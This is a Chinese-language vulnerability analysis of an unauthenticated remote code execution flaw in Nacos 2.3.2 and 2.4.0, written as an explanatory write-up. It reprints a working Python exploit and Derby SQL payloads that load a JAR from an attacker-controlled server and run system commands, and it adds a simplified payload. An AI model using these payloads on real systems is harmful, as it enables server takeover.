网传的nacos 0day
网传的nacos 0day分析
前言
这个”nacos 0day”在今天下午(2024.7.15)在各个公众号和群疯传,漏洞作者在GitHub上给出了POC
没接触过nacos,尝试分析
漏洞复现
这里直接使用给POC进行复现,并且作者给出了利用方式
因为某些原因,公开一个nacos的0day
环境准备:
下载nacos2.3.2或2.4.0版本,解压,使用
startup.cmd -m standalone 启动nacos
补充POC信息
POC是一个python项目,依赖requests和flask,请先使用requiments.txt安装依赖
1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,我这里放了一个接收参数执行java命令的
2.执行exploit.py,输入地址和命令即可执行。
首先下载nacos2.3.2或2.4.0版本(我用的是2.4.0),解压然后在bin目录下运行命令startup.cmd -m standalone
然后修改config.py中的配置,这个配置是远程jar文件下载的地址IP和端口
然后运行service.py,这个脚本启动了一个http服务,服务的作用是给nacos请求下载jar,这个jar在脚本中以base64字符串的形式存在,所以在文件夹看不到jar文件。jar包里可以放任意代码,都可执行,作者放了一个接收参数执行java命令的jar。
然后再运行exploit.py,输入地址和命令即可执行(ps:我这里用的是源码启动,方便调试)
可以看到成功的执行了系统命令
调试环境配置
为了方便调试分析,下载源码(2.4.0)调试运行
将源码导入IDEA后,等待加载,并使用mvn完成编译,否则运行会报错确实某个类
然后配置运行,主类是com.alibaba.nacos.Nacos
,并添加VM参数-Dnacos.standalone=true
否则为集群启动
漏洞分析
漏洞分析从POC入手
def exploit(target, command, service):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0,sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
# option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
#get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.text)
break
可以看到该POC发起了两次请求
第一次请求的路径是/nacos/v1/cs/ops/data/removal
,不难看出这请求是在上传文件,文件的内容是几条sql语句
CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
id是随机字符串,service是远程下载jar的地址
第一条语句的意思是在当前数据库中安装 JAR 文件并为其分配 JAR 标识符id
第二条语句是调用SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY方法,它是Apache Derby数据库用来设置数据库属性的方法,这里将derby.database.classpath
属性设置为'NACOS.{id}'
,将刚刚下载的JAR文件添加到数据库的类路径中,使得数据库能够使用JAR中的Java类
第三条语句是创建了一个名为S_EXAMPLE_{id}
的数据库函数,它接受一个VARCHAR(2000)
类型的参数并返回一个VARCHAR(2000)
类型的结果。这个函数使用Java语言编写,并且是外部的,即它的实现在数据库外部的Java代码中。PARAMETER STYLE JAVA
指示函数的参数风格与Java方法的参数风格一致。NO SQL
表示这个函数不执行任何SQL语句。LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
指定了外部Java方法的完全限定名,即这个函数映射到test.poc.Example
类的exec
静态方法
所以这几句sql语句就是为了远程jar能够运行,只差调用test.poc.Example.exec
在IDEA搜索路径/v1/cs/ops/data/removal
很容易的找到上传逻辑代码在com/alibaba/nacos/config/server/controller/ConfigOpsController.java
首先进行模式检测启动模式DatasourceConfiguration.isEmbeddedStorage()
,跟进看了一下,似乎是前面所说的-Dnacos.standalone=true
,所以过if判断
然后往下就是除了上传的文件的逻辑了,没有什么特殊的处理,返回上传结果
来到第二个请求,/nacos/v1/cs/ops/derby
,通过GET的方式传入参数sql
select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/
这个是一个sql语句嵌套,子查询中调用了前面定义的函数S_EXAMPLE_{id},并传入参数cmd ,如果sql语句运行了久能够调用Jar中的test.poc.Example.exec
方法
同样的方式找到代码:
这里再运行sql语句前,要经过三个判断
第一个是模式判断,和前面的一样
第二个是sql语句必须以SELECT
开头,忽略大小写
第三个是sql语句必须存在字符串ROWS FETCH NEXT
,这个很好的解释了为什么要加 /*ROWS FETCH NEXT*/
,/**/
是注释
在List<Map<String, Object>> result = template.queryForList(sql);
中执行sql语句并返回了结果
按照分析,不需要嵌套外层sql语句,将payload改成如下即可,亲测可用
select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info/*ROWS FETCH NEXT*/
猜测的修复方案
1.未授权访问修复:按照POC两个请求都不需要授权就能访问,这是个很重要的点,修复大概率会出现在这里
2.sql语句过滤:这里猜测会对sqlj.install_jar()进行现在,还有一些特殊符号,即sql注释/**/
参考
https://help.hcltechsw.com/onedb/2.0.1/sqs/ids_sqs_1808.html